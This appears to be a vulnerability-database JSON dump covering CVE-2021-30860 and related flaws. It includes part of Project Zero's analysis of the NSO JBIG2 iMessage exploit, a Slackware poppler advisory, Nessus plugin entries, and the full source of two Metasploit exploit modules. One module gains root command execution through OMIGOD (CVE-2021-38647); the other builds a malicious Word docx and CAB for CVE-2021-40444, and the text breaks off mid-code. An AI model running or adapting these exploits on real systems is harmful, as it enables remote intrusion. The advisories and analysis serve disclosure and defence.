line.\n\n[![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0hdaagzsqy4Esf9vjf9KS6euQUhDYTUMu9xDO8q4nxUCbVjpLmxBCJkixLWpg8YETgQNC-2DYLlPss0Eo46knC-qDRI0dLEcOHPvjbwGfaF_E_7EimexamWDy68_id27V2y9k0J2moeJg94okQoOtrMyejAg7bYepIgtdcgNH7NRz7Ne-mWeWs1QA/s1070/image7%282%29.png)](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0hdaagzsqy4Esf9vjf9KS6euQUhDYTUMu9xDO8q4nxUCbVjpLmxBCJkixLWpg8YETgQNC-2DYLlPss0Eo46knC-qDRI0dLEcOHPvjbwGfaF_E_7EimexamWDy68_id27V2y9k0J2moeJg94okQoOtrMyejAg7bYepIgtdcgNH7NRz7Ne-mWeWs1QA/s1070/image7%282%29.png>)\n\nThe memory layout of the JBIG2Bitmap object showing the segnum, w, h and line fields which are corrupted during the overflow\n\nBy carefully structuring refSegs they can stop the overflow after writing exactly three more JBIG2Bitmap pointers after the end of the segments GList buffer. This overwrites the vtable pointer and the first four fields of the JBIG2Bitmap representing the current page. Due to the nature of the iOS address space layout these pointers are very likely to be in the second 4GB of virtual memory, with addresses between 0x100000000 and 0x1ffffffff. Since all iOS hardware is little endian (meaning that the w and line fields are likely to be overwritten with 0x1 \u2014 the most-significant half of a JBIG2Bitmap pointer) and the segNum and h fields are likely to be overwritten with the least-significant half of such a pointer, a fairly random value depending on heap layout and ASLR somewhere between 0x100000 and 0xffffffff.\n\nThis gives the current destination page JBIG2Bitmap an unknown, but very large, value for h. Since that h value is used for bounds checking and is supposed to reflect the allocated size of the page backing buffer, this has the effect of \"unbounding\" the drawing canvas. This means that subsequent JBIG2 segment commands can read and write memory outside of the original bounds of the page backing buffer.\n\nThe heap groom also places the current page's backing buffer just below the undersized syms buffer, such that when the page JBIG2Bitmap is unbounded, it's able to read and write its own fields:\n\n* * *\n\n[![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidgMVssjmRf7_LhtPKH-MCSJdXOZk5t6EAm-FLazQh5ssP2ksV4kIlzxSIOGz5Elrm8ROuBz92K4-Jthwu4WYa8vN61EgdpB5dbtuCULDRFhqK1TkPOE8xl63p9MAIgf1dNwYKgkYMwlgoNEFcvdDmXy6GdlcRQ5ESrN8d3bAYIEse7dGPQc3cbo8h/s550/image5%282%29.png)](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidgMVssjmRf7_LhtPKH-MCSJdXOZk5t6EAm-FLazQh5ssP2ksV4kIlzxSIOGz5Elrm8ROuBz92K4-Jthwu4WYa8vN61EgdpB5dbtuCULDRFhqK1TkPOE8xl63p9MAIgf1dNwYKgkYMwlgoNEFcvdDmXy6GdlcRQ5ESrN8d3bAYIEse7dGPQc3cbo8h/s550/image5%282%29.png>)\n\nThe memory layout showing how the unbounded bitmap backing buffer is able to reference the JBIG2Bitmap object and modify fields in it as it is located after the backing buffer in memory\n\nBy rendering 4-byte bitmaps at the correct canvas coordinates they can write to all the fields of the page JBIG2Bitmap and by carefully choosing new values for w, h and line, they can write to arbitrary offsets from the page backing buffer.\n\nAt this point it would also be possible to write to arbitrary absolute memory addresses if you knew their offsets from the page backing buffer. But how to compute those offsets? Thus far, this exploit has proceeded in a manner very similar to a \"canonical\" scripting language exploit which in Javascript might end up with an unbounded ArrayBuffer object with access to memory. But in those cases the attacker has the ability to run arbitrary Javascript which can obviously be used to compute offsets and perform arbitrary computations. How do you do that in a single-pass image parser?\n\nMy other compression format is turing-complete!\n\nAs mentioned earlier, the sequence of steps which implement JBIG2 refinement are very flexible. Refinement steps can reference both the output bitmap and any previously created segments, as well as render output to either the current page or a segment. By carefully crafting the context-dependent part of the refinement decompression, it's possible to craft sequences of segments where only the refinement combination operators have any effect.\n\nIn practice this means it is possible to apply the AND, OR, XOR and XNOR logical operators between memory regions at arbitrary offsets from the current page's JBIG2Bitmap backing buffer. And since that has been unbounded\u2026 it's possible to perform those logical operations on memory at arbitrary out-of-bounds offsets:\n\n[![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFkcS4JjzhV7pzJ5kVEmFj7WLW5Zzdc0JkYDaQBhVYIDayiYOksOID0LFOFGr9qQA44qwe3LRN9KNqOelKIflmcTDnR3k6qrtfvJ4wsoTDyuM59nmE6DGM_n_wOUMNY8HoLybtywIMq2-VdeFVwHHc9aDe0tkExa4hfvXKJ6o_m2QYT2LXp4NGDNJI/s551/image9%281%29.png)](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFkcS4JjzhV7pzJ5kVEmFj7WLW5Zzdc0JkYDaQBhVYIDayiYOksOID0LFOFGr9qQA44qwe3LRN9KNqOelKIflmcTDnR3k6qrtfvJ4wsoTDyuM59nmE6DGM_n_wOUMNY8HoLybtywIMq2-VdeFVwHHc9aDe0tkExa4hfvXKJ6o_m2QYT2LXp4NGDNJI/s551/image9%281%29.png>)\n\nThe memory layout showing how logical operators can be applied out-of-bounds\n\nIt's when you take this to its most extreme form that things start to get really interesting. What if rather than operating on glyph-sized sub-rectangles you instead operated on single bits?\n\nYou can now provide as input a sequence of JBIG2 segment commands which implement a sequence of logical bit operations to apply to the page. And since the page buffer has been unbounded those bit operations can operate on arbitrary memory.\n\nWith a bit of back-of-the-envelope scribbling you can convince yourself that with just the available AND, OR, XOR and XNOR logical operators you can in fact compute any computable function - the simplest proof being that you can create a logical NOT operator by XORing with 1 and then putting an AND gate in front of that to form a NAND gate:\n\n[![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBpKF2iKJhndHIFtGm9xUBVjpXOM4GYcwSdNyfuUvwI-883zmbnhi_Ch6CR4XEaA6D2uaGkU3g8rNocZS_ZlWXD8rTSRGTgYact6ar43k8ywMZG6hnjDz8Yr3pC3Fh4W3dggIA_XriPw1Vc6myG-18TPe8Ffj_NGuywLqz4tpdlrbMAso-CBZcM_4X/s265/image8%282%29.png)](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBpKF2iKJhndHIFtGm9xUBVjpXOM4GYcwSdNyfuUvwI-883zmbnhi_Ch6CR4XEaA6D2uaGkU3g8rNocZS_ZlWXD8rTSRGTgYact6ar43k8ywMZG6hnjDz8Yr3pC3Fh4W3dggIA_XriPw1Vc6myG-18TPe8Ffj_NGuywLqz4tpdlrbMAso-CBZcM_4X/s265/image8%282%29.png>)\n\nAn AND gate connected to one input of an XOR gate. The other XOR gate input is connected to the constant value 1 creating an NAND.\n\nA NAND gate is an example of a universal logic gate; one from which all other gates can be built and from which a circuit can be [built to compute any computable function](<https://www.nand2tetris.org/>).\n\nPractical circuits\n\nJBIG2 doesn't have scripting capabilities, but when combined with a vulnerability, it does have the ability to emulate circuits of arbitrary logic gates operating on arbitrary memory. So why not just use that to build your own computer architecture and script that!? That's exactly what this exploit does. Using over 70,000 segment commands defining logical bit operations, they define a small computer architecture with features such as registers and a full 64-bit adder and comparator which they use to search memory and perform arithmetic operations. It's not as fast as Javascript, but it's fundamentally computationally equivalent.\n\nThe bootstrapping operations for the sandbox escape exploit are written to run on this logic circuit and the whole thing runs in this weird, emulated environment created out of a single decompression pass through a JBIG2 stream. It's pretty incredible, and at the same time, pretty terrifying.\n\nIn a future post (currently being finished), we'll take a look at exactly how they escape the IMTranscoderAgent sandbox.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-12-15T00:00:00", "type": "googleprojectzero", "title": "\nA deep dive into an NSO zero-click iMessage exploit: Remote Code Execution\n", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30860"], "modified": "2021-12-15T00:00:00", "id": "GOOGLEPROJECTZERO:13ED546BFEDF54BBE09B80D00208352E", "href": "https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "slackware": [{"lastseen": "2023-05-27T16:21:39", "description": "New poppler packages are available for Slackware 15.0 and -current to fix\na security issue.\n\n\nHere are the details from the Slackware 15.0 ChangeLog:\n\npatches/packages/poppler-21.12.0-i586-2_slack15.0.txz: Rebuilt.\n [PATCH] JBIG2Stream: Fix crash on broken file.\n For more information, see:\n https://vulners.com/cve/CVE-2021-30860\n (* Security fix *)\n\nWhere to find the new packages:\n\nThanks to the friendly folks at the OSU Open Source Lab\n(http://osuosl.org) for donating FTP and rsync hosting\nto the Slackware project! :-)\n\nAlso see the \"Get Slack\" section on http://slackware.com for\nadditional mirror sites near you.\n\nUpdated package for Slackware 15.0:\nftp://ftp.slackware.com/pub/slackware/slackware-15.0/patches/packages/poppler-21.12.0-i586-2_slack15.0.txz\n\nUpdated package for Slackware x86_64 15.0:\nftp://ftp.slackware.com/pub/slackware/slackware64-15.0/patches/packages/poppler-21.12.0-x86_64-2_slack15.0.txz\n\nUpdated package for Slackware -current:\nftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/l/poppler-22.09.0-i586-1.txz\n\nUpdated package for Slackware x86_64 -current:\nftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/l/poppler-22.09.0-x86_64-1.txz\n\n\nMD5 signatures:\n\nSlackware 15.0 package:\n681572875875db923913fa9403d974d7 poppler-21.12.0-i586-2_slack15.0.txz\n\nSlackware x86_64 15.0 package:\n3ec89fbbdf94e68f4daa477faceda360 poppler-21.12.0-x86_64-2_slack15.0.txz\n\nSlackware -current package:\nb91690866d21257db9c66985ceae5051 l/poppler-22.09.0-i586-1.txz\n\nSlackware x86_64 -current package:\nbf4d3f9a1894a59a00bae784162c7780 l/poppler-22.09.0-x86_64-1.txz\n\n\nInstallation instructions:\n\nUpgrade the package as root:\n > upgradepkg poppler-21.12.0-i586-2_slack15.0.txz", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-09-01T20:05:47", "type": "slackware", "title": "[slackware-security] poppler", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30860"], "modified": "2022-09-01T20:05:47", "id": "SSA-2022-244-01", "href": "http://www.slackware.com/security/viewer.php?l=slackware-security&y=2022&m=slackware-security.337810", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "nessus": [{"lastseen": "2023-08-30T17:34:34", "description": "The Microsoft Open Management Infrastructure service detected on the remote host is affected by a remote code execution vulnerability due to insufficient authentication validation. An unauthenticated, remote attacker can exploit this to execute code on the remote host as root.", "cvss3": {}, "published": "2021-09-20T00:00:00", "type": "nessus", "title": "Microsoft Open Management Infrastructure RCE (CVE-2021-38647)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2021-38647"], "modified": "2023-08-28T00:00:00", "cpe": ["x-cpe:/a:microsoft:open_management_infrastructure"], "id": "OMI_CVE-2021-38647.NBIN", "href": "https://www.tenable.com/plugins/nessus/153486", "sourceData": "Binary data omi_cve-2021-38647.nbin", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-05-17T16:34:38", "description": "The version of poppler installed on the remote host is prior to 21.12.0 / 22.09.0. It is, therefore, affected by a vulnerability as referenced in the SSA:2022-244-01 advisory.\n\n - An integer overflow was addressed with improved input validation. This issue is fixed in Security Update 2021-005 Catalina, iOS 14.8 and iPadOS 14.8, macOS Big Sur 11.6, watchOS 7.6.2. Processing a maliciously crafted PDF may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited. (CVE-2021-30860)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.", "cvss3": {}, "published": "2022-09-01T00:00:00", "type": "nessus", "title": "Slackware Linux 15.0 / current poppler Vulnerability (SSA:2022-244-01)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2021-30860"], "modified": "2022-09-01T00:00:00", "cpe": ["p-cpe:/a:slackware:slackware_linux:poppler", "cpe:/o:slackware:slackware_linux", "cpe:/o:slackware:slackware_linux:15.0"], "id": "SLACKWARE_SSA_2022-244-01.NASL", "href": "https://www.tenable.com/plugins/nessus/164619", "sourceData": "#%NASL_MIN_LEVEL 80900\n##\n# (C) Tenable, Inc.\n##\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Slackware Security Advisory SSA:2022-244-01. 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This vulnerability was patched in\n OMI version 1.6.8-1 (released September 8th 2021).\n },\n 'Author' => [\n 'Nir Ohfeld', # vulnerability discovery & research\n 'Shir Tamari', # vulnerability discovery & research\n 'Spencer McIntyre', # metasploit module\n 'wvu' # vulnerability research\n ],\n 'References' => [\n ['CVE', '2021-38647'],\n ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647'],\n ['URL', 'https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure'],\n ['URL', 'https://censys.io/blog/understanding-the-impact-of-omigod-cve-2021-38647/'],\n ['URL', 'https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647']\n ],\n 'DisclosureDate' => '2021-09-14',\n 'License' => MSF_LICENSE,\n 'Platform' => ['linux', 'unix'],\n 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],\n 'Privileged' => true,\n 'Targets' => [\n [\n 'Unix Command',\n {\n 'Platform' => 'unix',\n 'Arch' => ARCH_CMD,\n 'Type' => :unix_cmd\n }\n ],\n [\n 'Linux Dropper',\n {\n 'Platform' => 'linux',\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Type' => :linux_dropper\n }\n ]\n ],\n 'DefaultTarget' => 1,\n 'DefaultOptions' => {\n 'RPORT' => 5985,\n 'SSL' => false,\n 'MeterpreterTryToFork' => true\n },\n 'Notes' => {\n 'AKA' => ['OMIGOD'],\n 'Stability' => [CRASH_SAFE],\n 'Reliability' => [REPEATABLE_SESSION],\n 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n }\n )\n )\n\n register_options([\n OptString.new('TARGETURI', [true, 'Base path', '/wsman'])\n ])\n end\n\n def check\n http_res = send_command('id')\n return CheckCode::Unknown if http_res.nil?\n return CheckCode::Safe unless http_res.code == 200\n\n cmd_res = parse_response(http_res)\n return CheckCode::Unknown if cmd_res.nil? || cmd_res[:stdout] !~ /uid=(\\d+)\$\\S+\$ /\n\n return CheckCode::Vulnerable(\"Command executed as uid #{Regexp.last_match(1)}.\")\n end\n\n def exploit\n print_status(\"Executing #{target.name} for #{datastore['PAYLOAD']}\")\n\n case target['Type']\n when :unix_cmd\n result = execute_command(payload.encoded)\n if result\n print_status(result[:stdout]) unless result[:stdout].blank?\n print_error(result[:stderr]) unless result[:stderr].blank?\n end\n when :linux_dropper\n execute_cmdstager\n end\n end\n\n def execute_command(cmd, _opts = {})\n vprint_status(\"Executing command: #{cmd}\")\n res = send_command(cmd)\n\n unless res && res.code == 200\n fail_with(Failure::UnexpectedReply, \"Failed to execute command: #{cmd}\")\n end\n\n parse_response(res)\n end\n\n def parse_response(res)\n return nil unless res&.code == 200\n\n return_code = res.get_xml_document.at_xpath('//p:SCX_OperatingSystem_OUTPUT/p:ReturnCode', XML_NS)&.content.to_i\n unless return_code == 0\n print_error(\"Failed to execute command: #{cmd} (status: #{return_code})\")\n end\n\n {\n return_code: return_code,\n stdout: res.get_xml_document.at_xpath('//p:SCX_OperatingSystem_OUTPUT/p:StdOut', XML_NS)&.content,\n stderr: res.get_xml_document.at_xpath('//p:SCX_OperatingSystem_OUTPUT/p:StdErr', XML_NS)&.content\n }\n end\n\n def send_command(cmd)\n send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path),\n 'ctype' => 'text/xml;charset=UTF-8',\n 'data' => Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)\n <s:Envelope xmlns:s=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:a=\"http://schemas.xmlsoap.org/ws/2004/08/addressing\" xmlns:n=\"http://schemas.xmlsoap.org/ws/2004/09/enumeration\" xmlns:w=\"http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema\" xmlns:h=\"http://schemas.microsoft.com/wbem/wsman/1/windows/shell\" xmlns:p=\"http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd\">\n <s:Header>\n <a:To>HTTP://127.0.0.1:5985/wsman/</a:To>\n <w:ResourceURI s:mustUnderstand=\"true\">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>\n <a:ReplyTo>\n <a:Address s:mustUnderstand=\"true\">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>\n </a:ReplyTo>\n <a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</a:Action>\n <w:MaxEnvelopeSize s:mustUnderstand=\"true\">102400</w:MaxEnvelopeSize>\n <a:MessageID>uuid:#{Faker::Internet.uuid}</a:MessageID>\n <w:OperationTimeout>PT1M30S</w:OperationTimeout>\n <w:Locale xml:lang=\"en-us\" s:mustUnderstand=\"false\"/>\n <p:DataLocale xml:lang=\"en-us\" s:mustUnderstand=\"false\"/>\n <w:OptionSet s:mustUnderstand=\"true\"/>\n <w:SelectorSet>\n <w:Selector Name=\"__cimnamespace\">root/scx</w:Selector>\n </w:SelectorSet>\n </s:Header>\n <s:Body>\n <p:ExecuteScript_INPUT xmlns:p=\"http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem\">\n <p:Script>#{Rex::Text.encode_base64(cmd)}</p:Script>\n <p:Arguments/>\n <p:timeout>0</p:timeout>\n <p:b64encoded>true</p:b64encoded>\n </p:ExecuteScript_INPUT>\n </s:Body>\n </s:Envelope>\n ENVELOPE\n )\n end\nend\n", "sourceHref": "https://0day.today/exploit/36967", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-05-25T08:45:40", "description": "This Metasploit module creates a malicious docx file that when opened in Word on a vulnerable Windows system will lead to code execution. This vulnerability exists because an attacker can craft a malicious ActiveX control to be used by a Microsoft Office document that hosts the browser rendering engine.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-12-09T00:00:00", "type": "zdt", "title": "Microsoft Office Word MSHTML Remote Code Execution Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-12-09T00:00:00", "id": "1337DAY-ID-37126", "href": "https://0day.today/exploit/description/37126", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n include Msf::Exploit::FILEFORMAT\n include Msf::Exploit::Remote::HttpServer::HTML\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Microsoft Office Word Malicious MSHTML RCE',\n 'Description' => %q{\n This module creates a malicious docx file that when opened in Word on a vulnerable Windows\n system will lead to code execution. This vulnerability exists because an attacker can\n craft a malicious ActiveX control to be used by a Microsoft Office document that hosts\n the browser rendering engine.\n },\n 'References' => [\n ['CVE', '2021-40444'],\n ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444'],\n ['URL', 'https://www.sentinelone.com/blog/peeking-into-cve-2021-40444-ms-office-zero-day-vulnerability-exploited-in-the-wild/'],\n ['URL', 'http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf'],\n ['URL', 'https://github.com/lockedbyte/CVE-2021-40444/blob/master/REPRODUCE.md'],\n ['URL', 'https://github.com/klezVirus/CVE-2021-40444']\n ],\n 'Author' => [\n 'lockedbyte ', # Vulnerability discovery.\n 'klezVirus ', # References and PoC.\n 'thesunRider', # Official Metasploit module.\n 'mekhalleh (RAMELLA S\u00e9bastien)' # Zeop-CyberSecurity - code base contribution and refactoring.\n ],\n 'DisclosureDate' => '2021-09-23',\n 'License' => MSF_LICENSE,\n 'Privileged' => false,\n 'Platform' => 'win',\n 'Arch' => [ARCH_X64],\n 'Payload' => {\n 'DisableNops' => true\n },\n 'DefaultOptions' => {\n 'FILENAME' => 'msf.docx'\n },\n 'Targets' => [\n [\n 'Hosted', {}\n ]\n ],\n 'DefaultTarget' => 0,\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'Reliability' => [UNRELIABLE_SESSION],\n 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n }\n )\n )\n\n register_options([\n OptBool.new('OBFUSCATE', [true, 'Obfuscate JavaScript content.', true])\n ])\n register_advanced_options([\n OptPath.new('DocxTemplate', [ false, 'A DOCX file that will be used as a template to build the exploit.' ]),\n ])\n end\n\n def bin_to_hex(bstr)\n return(bstr.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join)\n end\n\n def cab_checksum(data, seed = \"\\x00\\x00\\x00\\x00\")\n checksum = seed\n\n bytes = ''\n data.chars.each_slice(4).map(&:join).each do |dword|\n if dword.length == 4\n checksum = checksum.unpack('C*').zip(dword.unpack('C*')).map { |a, b| a ^ b }.pack('C*')\n else\n bytes = dword\n end\n end\n checksum = checksum.reverse\n\n case (data.length % 4)\n when 3\n dword = \"\\x00#{bytes}\"\n when 2\n dword = \"\\x00\\x00#{bytes}\"\n when 1\n dword = \"\\x00\\x00\\x00#{bytes}\"\n else\n dword = \"\\x00\\x00\\x00\\x00\"\n end\n\n checksum = checksum.unpack('C*').zip(dword.unpack('C*')).map { |a, b| a ^ b }.pack('C*').reverse\n end\n\n # http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf\n def create_cab(data)\n cab_cfdata = ''\n filename = \"../#{File.basename(@my_resources.first)}.inf\"\n block_size = 32768\n struct_cffile = 0xd\n struct_cfheader = 0x30\n\n block_counter = 0\n data.chars.each_slice(block_size).map(&:join).each do |block|\n block_counter += 1\n\n seed = \"#{[block.length].pack('S')}#{[block.length].pack('S')}\"\n csum = cab_checksum(block, seed)\n\n vprint_status(\"Data block added w/ checksum: #{bin_to_hex(csum)}\")\n cab_cfdata << csum # uint32 {4} - Checksum\n cab_cfdata << [block.length].pack('S') # uint16 {2} - Compressed Data Length\n cab_cfdata << [block.length].pack('S') # uint16 {2} - Uncompressed Data Length\n cab_cfdata << block\n end\n\n cab_size = [\n struct_cfheader +\n struct_cffile +\n filename.length +\n cab_cfdata.length\n ].pack('L<')\n\n # CFHEADER (http://wiki.xentax.com/index.php/Microsoft_Cabinet_CAB)\n cab_header = \"\\x4D\\x53\\x43\\x46\" # uint32 {4} - Header (MSCF)\n cab_header << \"\\x00\\x00\\x00\\x00\" # uint32 {4} - Reserved (null)\n cab_header << cab_size # uint32 {4} - Archive Length\n cab_header << \"\\x00\\x00\\x00\\x00\" # uint32 {4} - Reserved (null)\n\n cab_header << \"\\x2C\\x00\\x00\\x00\" # uint32 {4} - Offset to the first CFFILE\n cab_header << \"\\x00\\x00\\x00\\x00\" # uint32 {4} - Reserved (null)\n cab_header << \"\\x03\" # byte {1} - Minor Version (3)\n cab_header << \"\\x01\" # byte {1} - Major Version (1)\n cab_header << \"\\x01\\x00\" # uint16 {2} - Number of Folders\n cab_header << \"\\x01\\x00\" # uint16 {2} - Number of Files\n cab_header << \"\\x00\\x00\" # uint16 {2} - Flags\n\n cab_header << \"\\xD2\\x04\" # uint16 {2} - Cabinet Set ID Number\n cab_header << \"\\x00\\x00\" # uint16 {2} - Sequential Number of this Cabinet file in a Set\n\n # CFFOLDER\n cab_header << [ # uint32 {4} - Offset to the first CFDATA in this Folder\n struct_cfheader +\n struct_cffile +\n filename.length\n ].pack('L<')\n cab_header << [block_counter].pack('S<') # uint16 {2} - Number of CFDATA blocks in this Folder\n cab_header << \"\\x00\\x00\" # uint16 {2} - Compression Format for each CFDATA in this Folder (1 = MSZIP)\n\n # increase file size to trigger vulnerability\n cab_header << [ # uint32 {4} - Uncompressed File Length (\"\\x02\\x00\\x5C\\x41\")\n data.length + 1073741824\n ].pack('L<')\n\n # set current date and time in the format of cab file\n date_time = Time.new\n date = [((date_time.year - 1980) << 9) + (date_time.month << 5) + date_time.day].pack('S')\n time = [(date_time.hour << 11) + (date_time.min << 5) + (date_time.sec / 2)].pack('S')\n\n # CFFILE\n cab_header << \"\\x00\\x00\\x00\\x00\" # uint32 {4} - Offset in the Uncompressed CFDATA for the Folder this file belongs to (relative to the start of the Uncompressed CFDATA for this Folder)\n cab_header << \"\\x00\\x00\" # uint16 {2} - Folder ID (starts at 0)\n cab_header << date # uint16 {2} - File Date (\\x5A\\x53)\n cab_header << time # uint16 {2} - File Time (\\xC3\\x5C)\n cab_header << \"\\x20\\x00\" # uint16 {2} - File Attributes\n cab_header << filename # byte {X} - Filename (ASCII)\n cab_header << \"\\x00\" # byte {1} - null Filename Terminator\n\n cab_stream = cab_header\n\n # CFDATA\n cab_stream << cab_cfdata\n end\n\n def generate_html\n uri = \"#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.cab\"\n inf = \"#{File.basename(@my_resources.first)}.inf\"\n\n file_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'CVE-2021-40444', 'cve_2021_40444.js')\n js_content = ::File.binread(file_path)\n\n js_content.gsub!('REPLACE_INF', inf)\n js_content.gsub!('REPLACE_URI', uri)\n if datastore['OBFUSCATE']\n print_status('Obfuscate JavaScript content')\n\n js_content = Rex::Exploitation::JSObfu.new js_content\n js_content = js_content.obfuscate(memory_sensitive: false)\n end\n\n html = '<!DOCTYPE html><html><head><meta http-equiv=\"Expires\" content=\"-1\"><meta http-equiv=\"X-UA-Compatible\" content=\"IE=11\"></head><body><script>'\n html += js_content.to_s\n html += '</script></body></html>'\n html\n end\n\n def get_file_in_docx(fname)\n i = @docx.find_index { |item| item[:fname] == fname }\n\n unless i\n fail_with(Failure::NotFound, \"This template cannot be used because it is missing: #{fname}\")\n end\n\n @docx.fetch(i)[:data]\n end\n\n def get_template_path\n datastore['DocxTemplate'] || File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-40444', 'cve-2021-40444.docx')\n end\n\n def inject_docx\n document_xml = get_file_in_docx('word/document.xml')\n unless document_xml\n fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/document.xml')\n end\n\n document_xml_rels = get_file_in_docx('word/_rels/document.xml.rels')\n unless document_xml_rels\n fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/_rels/document.xml.rels')\n end\n\n uri = \"#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.html\"\n @docx.each do |entry|\n case entry[:fname]\n when 'word/document.xml'\n entry[:data] = 